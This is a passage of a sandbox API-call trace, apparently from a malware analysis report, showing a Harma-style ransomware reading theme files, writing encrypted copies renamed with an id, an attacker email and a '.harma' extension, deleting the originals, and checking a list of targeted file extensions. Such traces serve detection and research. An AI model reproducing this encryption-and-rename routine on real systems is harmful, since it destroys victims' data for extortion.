(lpString="THMBNAIL.PNG") returned 12 [0056.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.771] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=19780) returned 1 [0057.771] CloseHandle (hObject=0x1a0) returned 1 [0057.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0057.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.772] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.772] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0057.772] GetLastError () returned 0x0 [0057.772] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0057.774] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0057.775] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.775] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.775] SetEndOfFile (hFile=0x15c) returned 1 [0057.775] CloseHandle (hObject=0x15c) returned 1 [0057.775] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.776] SetEndOfFile (hFile=0x1a0) returned 1 [0057.776] CloseHandle (hObject=0x1a0) returned 1 [0057.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.777] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0057.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.777] lstrlenW (lpString=".doc") returned 4 [0057.777] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.777] lstrlenW (lpString=".docx") returned 5 [0057.777] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.777] lstrlenW (lpString=".pdf") returned 4 [0057.777] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.777] lstrlenW (lpString=".xls") returned 4 [0057.777] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.777] lstrlenW (lpString=".xlsx") returned 5 [0057.777] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.777] lstrlenW (lpString=".ppt") returned 4 [0057.777] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.777] lstrlenW (lpString=".zip") returned 4 [0057.777] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.777] lstrlenW (lpString=".rar") returned 4 [0057.777] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.777] lstrlenW (lpString=".bz2") returned 4 [0057.778] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString=".7z") returned 3 [0057.778] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString=".dbf") returned 4 [0057.778] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString=".1cd") returned 4 [0057.778] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString=".jpg") returned 4 [0057.778] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString=".doc") returned 4 [0057.778] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString=".docx") returned 5 [0057.778] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.778] lstrlenW (lpString=".pdf") returned 4 [0057.778] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.778] lstrlenW (lpString=".xls") returned 4 [0057.778] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.778] lstrlenW (lpString=".xlsx") returned 5 [0057.778] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.778] lstrlenW (lpString=".ppt") returned 4 [0057.778] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.778] lstrlenW (lpString=".zip") returned 4 [0057.778] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.779] lstrlenW (lpString=".rar") returned 4 [0057.779] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.779] lstrlenW (lpString=".bz2") returned 4 [0057.779] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.779] lstrlenW (lpString=".7z") returned 3 [0057.779] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.779] lstrlenW (lpString=".dbf") returned 4 [0057.779] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.779] lstrlenW (lpString=".1cd") returned 4 [0057.779] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0057.779] lstrlenW (lpString=".jpg") returned 4 [0057.779] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.779] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.779] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.780] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1363) returned 1 [0057.780] CloseHandle (hObject=0x1a0) returned 1 [0057.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0057.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.781] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.781] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0057.783] GetLastError () returned 0x0 [0057.783] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x553, lpOverlapped=0x0) returned 1 [0057.790] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x560, lpOverlapped=0x0) returned 1 [0057.791] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.791] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.791] SetEndOfFile (hFile=0x15c) returned 1 [0057.792] CloseHandle (hObject=0x15c) returned 1 [0057.792] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.792] SetEndOfFile (hFile=0x1a0) returned 1 [0057.793] CloseHandle (hObject=0x1a0) returned 1 [0057.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.793] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0057.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.794] lstrlenW (lpString=".doc") returned 4 [0057.794] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.794] lstrlenW (lpString=".docx") returned 5 [0057.794] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.794] lstrlenW (lpString=".pdf") returned 4 [0057.794] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.794] lstrlenW (lpString=".xls") returned 4 [0057.794] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.794] lstrlenW (lpString=".xlsx") returned 5 [0057.794] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.794] lstrlenW (lpString=".ppt") returned 4 [0057.794] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.794] lstrlenW (lpString=".zip") returned 4 [0057.794] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.794] lstrlenW (lpString=".rar") returned 4 [0057.794] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.794] lstrlenW (lpString=".bz2") returned 4 [0057.794] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.794] lstrlenW (lpString=".7z") returned 3 [0057.794] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.794] lstrlenW (lpString=".dbf") returned 4 [0057.794] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString=".1cd") returned 4 [0057.795] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString=".jpg") returned 4 [0057.795] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString=".doc") returned 4 [0057.795] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.795] lstrlenW (lpString=".docx") returned 5 [0057.795] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.795] lstrlenW (lpString=".pdf") returned 4 [0057.795] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString=".xls") returned 4 [0057.795] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString=".xlsx") returned 5 [0057.795] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.795] lstrlenW (lpString=".ppt") returned 4 [0057.795] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString=".zip") returned 4 [0057.795] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString=".rar") returned 4 [0057.795] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.795] lstrlenW (lpString=".bz2") returned 4 [0057.795] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.795] lstrlenW (lpString=".7z") returned 3 [0057.795] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.795] lstrlenW (lpString=".dbf") returned 4 [0057.796] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.796] lstrlenW (lpString=".1cd") returned 4 [0057.796] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0057.796] lstrlenW (lpString=".jpg") returned 4 [0057.796] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.796] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.796] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.796] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=20371) returned 1 [0057.796] CloseHandle (hObject=0x1a0) returned 1 [0057.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0057.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.797] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.797] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0057.797] GetLastError () returned 0x0 [0057.797] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0057.799] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0057.800] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.800] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.800] SetEndOfFile (hFile=0x15c) returned 1 [0057.800] CloseHandle (hObject=0x15c) returned 1 [0057.801] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.801] SetEndOfFile (hFile=0x1a0) returned 1 [0057.801] CloseHandle (hObject=0x1a0) returned 1 [0057.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0057.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.802] lstrlenW (lpString=".doc") returned 4 [0057.802] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.802] lstrlenW (lpString=".docx") returned 5 [0057.802] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.802] lstrlenW (lpString=".pdf") returned 4 [0057.802] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.802] lstrlenW (lpString=".xls") returned 4 [0057.802] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.802] lstrlenW (lpString=".xlsx") returned 5 [0057.802] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.802] lstrlenW (lpString=".ppt") returned 4 [0057.802] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.802] lstrlenW (lpString=".zip") returned 4 [0057.802] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.802] lstrlenW (lpString=".rar") returned 4 [0057.803] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.803] lstrlenW (lpString=".bz2") returned 4 [0057.803] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString=".7z") returned 3 [0057.803] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString=".dbf") returned 4 [0057.803] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString=".1cd") returned 4 [0057.803] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString=".jpg") returned 4 [0057.803] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString=".doc") returned 4 [0057.803] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString=".docx") returned 5 [0057.803] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.803] lstrlenW (lpString=".pdf") returned 4 [0057.803] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.803] lstrlenW (lpString=".xls") returned 4 [0057.803] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.803] lstrlenW (lpString=".xlsx") returned 5 [0057.803] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.803] lstrlenW (lpString=".ppt") returned 4 [0057.803] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.803] lstrlenW (lpString=".zip") returned 4 [0057.803] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.804] lstrlenW (lpString=".rar") returned 4 [0057.804] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.804] lstrlenW (lpString=".bz2") returned 4 [0057.804] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.804] lstrlenW (lpString=".7z") returned 3 [0057.804] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.804] lstrlenW (lpString=".dbf") returned 4 [0057.804] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0057.804] lstrlenW (lpString=".1cd") returned 4 [0057.804] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 